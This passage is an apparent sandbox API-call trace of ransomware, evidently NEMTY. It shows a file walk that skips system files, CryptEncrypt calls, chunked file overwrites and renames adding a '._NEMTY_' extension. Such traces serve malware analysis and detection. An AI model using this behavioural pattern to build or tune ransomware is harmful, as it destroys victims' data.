hHeap=0x4f90000) returned 1 [0081.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_babypink_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 32 [0081.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0081.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_babypink_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 32 [0081.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0081.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0081.788] Sleep (dwMilliseconds=0x5) [0081.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4658dd0, dwHighDateTime=0x1d561e7)) [0081.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4658dd0, dwHighDateTime=0x1d561e7)) [0081.789] GetLastError () returned 0x12 [0081.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.789] GetLastError () returned 0x12 [0081.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.789] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0081.789] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0081.789] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0081.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0081.789] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="v3CzAoYS0Yq84RfB0um/g19q/94jjmbt+xEvtacw0bbJRCddQ4QqCEOYtNrSLnrf\r\nPHZCe3F9qbw8dIrY0AppM9yt9J0kVcjmVxPwZRv2BmIHhdoTJAuwNiGm/UeOAjLl\r\n2XUrb7PYcwAKk/n2nEQYlGqTDXMG8ezF36d1J+4C8D/BwXUDVxPoV5rB6N1s8+vG\r\n4tIFXNyuwiLQvu/ZNgId3nqkUbo1WsvVViI3ySBf4b2WZTMM/wYQJq29izJlKCUG\r\nwnmful5x6vXgwfzCw/5w5QrLQ/VcMgpw6ymWOP7dEVC/53kVKUL5rUSNPKIujsv9\r\nxRtJ/3MpbkZQh2WvOsjXXQ==\r\n", pcchString=0x653ec5c) returned 1 [0081.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0081.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0081.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0081.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0081.789] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.790] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0081.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0081.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0081.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0081.899] CloseHandle (hObject=0xffffffff) returned 0 [0081.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0081.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0081.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0081.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0081.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.899] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0081.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0081.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.900] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="..") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="...") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="windows") returned -1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="rsa") returned -1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="ntldr") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="programdata") returned 1 [0081.900] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="appdata") returned 1 [0081.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0081.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0081.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0081.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0081.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0081.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0081.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0081.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0081.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0081.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0081.901] HeapFree (in: 